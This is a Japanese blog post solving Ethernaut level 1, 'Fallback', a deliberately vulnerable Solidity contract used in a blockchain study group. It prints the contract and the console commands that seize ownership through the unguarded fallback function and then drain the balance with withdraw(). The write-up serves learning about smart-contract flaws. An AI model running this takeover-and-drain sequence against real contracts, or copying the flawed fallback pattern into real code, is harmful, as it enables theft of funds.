ayasamind.com

福岡のWebエンジニア、よしまさのブログです。Fusic.Co.,Ltd所属。

Ethernautの問題を解いてみる【1.Fallback】

はじめに

最近、主催している福岡ブロックチェーン勉強会で、Ethernautというサイトの問題を解いています。

お題のEthereumのスマートコントラクトのコードに対して

条件を満たすと、クリアというサイトです。

問題の内容としては、過去にEthereumで見つかった有名な脆弱性などもあります。

今回は、そんなEthernautの1問目の問題を解いてみました。



1. Fallback の問題

URLはこちらですね。



お題
You will beat this level if
1. you claim ownership of the contract
2. you reduce its balance to 0

Things that might help
- How to send ether when interacting with an ABI
- How to send ether outside of the ABI
- Converting to and from wei/ether units -see help() command-
- Fallback methods

要は

  • コントラクトのオーナーシップを奪う
  • コントラクトの残高を0にする

を満たすことができれば、クリアですね。



スマートコントラクト
pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallback {

using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;

constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}

function() payable external {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}


Fallbackというスマートコントラクトになっています。



オーナーを奪う方法を考える

まずは、「オーナーシップを奪う」必要があります。

コードをみる限り、オーナーになる方法は二つ。



一つ目

一つ目は以下の部分で。

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

contributions[msg.sender]contributions[owner]より多ければ、

msg.sender つまりコントラクトを実行した人がオーナーになることができます。



しかし、constructorをみると、これは現実的でないことがわかります。

constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

コントラクトが作成された時点で、contributions[owner]1000 * (1 ether)となっていることがわかります。

require(msg.value < 0.001 ether);が存在するため、contribute()では、一度に0.001 ether未満の額しか増やすことができません。

オーナーよりcontributionsを多くすることで、オーナー権限を奪うことは難しそうです。



二つ目

二つ目に以下の部分があります。

function() payable external {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}

こちらは比較的簡単にオーナーを奪うことができそうです。

require(msg.value > 0 && contributions[msg.sender] > 0);

ここを満たすことができれば、オーナーを奪うことができます。



実際にオーナーを奪ってみる

contribute()

まずは、contributionsを0より大きくする必要があるので、contribute()を実行します。

Get New Instance

ボタンをクリックして、Instanceを生成。

chromeのディベロッパーツールのconsoleから、contribute()を実行します。

require(msg.value < 0.001 ether); の条件がありますので、0.001etherより小さい値を送る必要があります。

非同期処理なので、awaitをつけるのを忘れずに。

await contract.contribute({value: toWei("0.0001", "ether"), to: contract, from: player})


getContribution()で確認

現在のcontributionsの数をgetContribution()で確認できます。

await contract.getContribution()

getContribution

wordsに値が入っていることが確認できました。



sendTransaction()

contributionsの値が0より大きくなったことが確認できました。

これで、sendTransaction()を実行できるはずです。

以下のように実行してみます。

await contract.sendTransaction({value: toWei("0.01", "ether"), to: instance, from: player})

うまく実行できたら、これでオーナー権限を奪えているはずです。



ownerを確認する

オーナーを奪えたかどうか確認します。

owner

オーナーのアドレスとplayerのアドレスが一致していることが確認できます。

これでオーナーを奪うことができました。



withdraw()を実行する

最後に

2. you reduce its balance to 0

を達成するために、withdraw()を実行します。

function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}

オーナーしか実行できないfunctionになっています。

しかしオーナー権は奪っているので、実行できるはず。

await contract.withdraw()

を実行します。



コントラクトの残高を確認

しっかり0になっているかどうか、確認します。

await getBalance(instance)

getBalance

0になっていることが確認できました。

最後にSubmit Instanceをすると、

こんな画面がでてきたら、問題クリアです!

complete



最後に

今回はEthernautの1問目Fallbackを解いてみました。

最初の問題ということもあり、難易度は低めでしたね。

次回は2問目を解いていけたらと思います。

最後まで読んでいただき、ありがとうございました!








株式会社Fusicでは一緒に働くエンジニアを募集しています!

福岡での就職・転職に少しでも興味のある方は、

ayasamind宛のDMFusic公式サイトのお問い合わせなど、お気軽にご相談ください。